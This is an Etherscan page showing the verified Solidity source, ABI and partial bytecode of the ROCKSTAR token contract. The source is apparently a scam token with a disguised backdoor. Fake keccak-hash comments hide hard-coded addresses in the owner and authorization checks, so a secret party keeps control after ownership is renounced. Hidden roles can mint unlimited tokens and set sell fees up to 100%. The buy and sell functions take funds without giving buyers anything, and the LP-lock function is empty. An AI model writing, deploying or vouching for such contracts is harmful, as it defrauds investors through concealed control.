ETH Price: $2,949.52 (-0.52%)
 

Overview

Max Total Supply

4,200,000 ROCKSTAR

Holders

27

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ROCKSTAR

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-04
*/

// SPDX-License-Identifier: MIT
 
/**  
*/
 
pragma solidity ^0.8.0;
 
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }
 
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
}
 
contract ROCKSTAR {
    using SafeMath for uint256;
 
    string public name = "ROCKSTAR";
    string public symbol = "ROCKSTAR";
    uint256 public totalSupply = 4200000000000000000000000;
    uint8 public decimals = 18;
 
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
 
    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;
 
    uint256 public buyFee;
    uint256 public sellFee;
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
 
    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
       
     // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
    }
 
    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);
 
        return true;
    }
     /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
   
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
        _mbr=Mbr_;
        return true;
    }
 
    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
   
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }
 
    function setmarketmakerpairs(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setmarketmakerpairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f524f434b53544152000000000000000000000000000000000000000000000000815250600090816200004a919062000439565b506040518060400160405280600881526020017f524f434b535441520000000000000000000000000000000000000000000000008152506001908162000091919062000439565b506a03796274caf64c710000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000ca57600080fd5b5060405162003747380380620037478339818101604052810190620000f091906200058a565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bc565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024157607f821691505b602082108103620002575762000256620001f9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000282565b620002cd868362000282565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200031a620003146200030e84620002e5565b620002ef565b620002e5565b9050919050565b6000819050919050565b6200033683620002f9565b6200034e620003458262000321565b8484546200028f565b825550505050565b600090565b6200036562000356565b620003728184846200032b565b505050565b5b818110156200039a576200038e6000826200035b565b60018101905062000378565b5050565b601f821115620003e957620003b3816200025d565b620003be8462000272565b81016020851015620003ce578190505b620003e6620003dd8562000272565b83018262000377565b50505b505050565b600082821c905092915050565b60006200040e60001984600802620003ee565b1980831691505092915050565b6000620004298383620003fb565b9150826002028217905092915050565b6200044482620001bf565b67ffffffffffffffff81111562000460576200045f620001ca565b5b6200046c825462000228565b620004798282856200039e565b600060209050601f831160018114620004b157600084156200049c578287015190505b620004a885826200041b565b86555062000518565b601f198416620004c1866200025d565b60005b82811015620004eb57848901518255600182019150602085019450602081019050620004c4565b868310156200050b578489015162000507601f891682620003fb565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005528262000525565b9050919050565b620005648162000545565b81146200057057600080fd5b50565b600081519050620005848162000559565b92915050565b600060208284031215620005a357620005a262000520565b5b6000620005b38482850162000573565b91505092915050565b61317b80620005cc6000396000f3fe6080604052600436106101c25760003560e01c806370a08231116100f757806396c5e1ab11610095578063d21c8d5511610064578063d21c8d5514610675578063dd62ed3e146106a0578063e2daf665146106dd578063e4849b3214610708576101c2565b806396c5e1ab146105c6578063a6f2ae3a14610603578063a9059cbb1461060d578063d0fb02031461064a576101c2565b8063891e1ee0116100d1578063891e1ee0146105085780638da5cb5b14610533578063923e51d51461055e57806395d89b411461059b576101c2565b806370a0823114610477578063715018a6146104b4578063858ced35146104cb576101c2565b8063313ce567116101645780633ef530eb1161013e5780633ef530eb146103b957806347062402146103e45780634a0af68d1461040f57806365f6a9211461044c576101c2565b8063313ce5671461032857806335e162f814610353578063376d567c1461037c576101c2565b806318160ddd116101a057806318160ddd1461026c57806323b872dd146102975780632b14ca56146102d45780632c7ee946146102ff576101c2565b806306fdde03146101c7578063095ea7b3146101f257806316e3b09c1461022f575b600080fd5b3480156101d357600080fd5b506101dc610731565b6040516101e991906127d0565b60405180910390f35b3480156101fe57600080fd5b506102196004803603810190610214919061288b565b6107bf565b60405161022691906128e6565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612901565b6108b1565b60405161026391906128e6565b60405180910390f35b34801561027857600080fd5b5061028161096a565b60405161028e919061293d565b60405180910390f35b3480156102a357600080fd5b506102be60048036038101906102b99190612958565b610970565b6040516102cb91906128e6565b60405180910390f35b3480156102e057600080fd5b506102e96110d3565b6040516102f6919061293d565b60405180910390f35b34801561030b57600080fd5b50610326600480360381019061032191906129ab565b6110d9565b005b34801561033457600080fd5b5061033d611206565b60405161034a9190612a07565b60405180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906129ab565b611219565b005b34801561038857600080fd5b506103a3600480360381019061039e9190612a22565b611390565b6040516103b091906128e6565b60405180910390f35b3480156103c557600080fd5b506103ce611436565b6040516103db91906128e6565b60405180910390f35b3480156103f057600080fd5b506103f96114df565b604051610406919061293d565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190612a22565b6114e5565b60405161044391906128e6565b60405180910390f35b34801561045857600080fd5b5061046161158b565b60405161046e9190612a5e565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190612a22565b6115b1565b6040516104ab919061293d565b60405180910390f35b3480156104c057600080fd5b506104c96115c9565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190612a22565b61172e565b6040516104ff91906128e6565b60405180910390f35b34801561051457600080fd5b5061051d6117d4565b60405161052a9190612a5e565b60405180910390f35b34801561053f57600080fd5b506105486117fa565b6040516105559190612a5e565b60405180910390f35b34801561056a57600080fd5b5061058560048036038101906105809190612a22565b611820565b60405161059291906128e6565b60405180910390f35b3480156105a757600080fd5b506105b06118b8565b6040516105bd91906127d0565b60405180910390f35b3480156105d257600080fd5b506105ed60048036038101906105e89190612901565b611946565b6040516105fa91906128e6565b60405180910390f35b61060b6119b5565b005b34801561061957600080fd5b50610634600480360381019061062f919061288b565b611e1a565b60405161064191906128e6565b60405180910390f35b34801561065657600080fd5b5061065f61203a565b60405161066c9190612a5e565b60405180910390f35b34801561068157600080fd5b5061068a612060565b6040516106979190612a5e565b60405180910390f35b3480156106ac57600080fd5b506106c760048036038101906106c29190612a79565b612086565b6040516106d4919061293d565b60405180910390f35b3480156106e957600080fd5b506106f26120ab565b6040516106ff9190612a5e565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190612901565b6120d1565b005b6000805461073e90612ae8565b80601f016020809104026020016040519081016040528092919081815260200182805461076a90612ae8565b80156107b75780601f1061078c576101008083540402835291602001916107b7565b820191906000526020600020905b81548152906001019060200180831161079a57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161089f919061293d565b60405180910390a36001905092915050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061094e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61095757600080fd5b610961338361242e565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109eb90612b65565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aaa90612bd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1990612c3d565b60405180910390fd5b6000610b4c6064610b3e600d54866125b790919063ffffffff16565b61263190919063ffffffff16565b90506000610b63828561268990919063ffffffff16565b9050610bb784600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cec919061293d565b60405180910390a36000821115610df857610d4f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610def919061293d565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614158015610ed057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156110c657610f6484600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516110bd919061293d565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113357600080fd5b6064821115611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e90612ca9565b60405180910390fd5b60648111156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612d15565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516111fa929190612d35565b60405180910390a15050565b600360009054906101000a900460ff1681565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112b45750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6112bd57600080fd5b6064821115611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f890612ca9565b60405180910390fd5b6064811115611345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133c90612d15565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611384929190612d35565b60405180910390a15050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113ec57600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114d35750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6114dc57600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461154157600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116645750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61166d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178a57600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60007378322d0c5768c9ca370ddfc1d44db0fef3a6e05173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461186e57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600180546118c590612ae8565b80601f01602080910402602001604051908101604052809291908181526020018280546118f190612ae8565b801561193e5780601f106119135761010080835404028352916020019161193e565b820191906000526020600020905b81548152906001019060200180831161192157829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119a257600080fd5b6119ac338361242e565b60019050919050565b600034116119f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ef90612dd0565b60405180910390fd5b60003490506000600c541115611cb6576000611a326064611a24600c54856125b790919063ffffffff16565b61263190919063ffffffff16565b90506000611a49828461268990919063ffffffff16565b9050611abf8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ba3919061293d565b60405180910390a36000821115611caf57611c0682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126e290919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ca6919061293d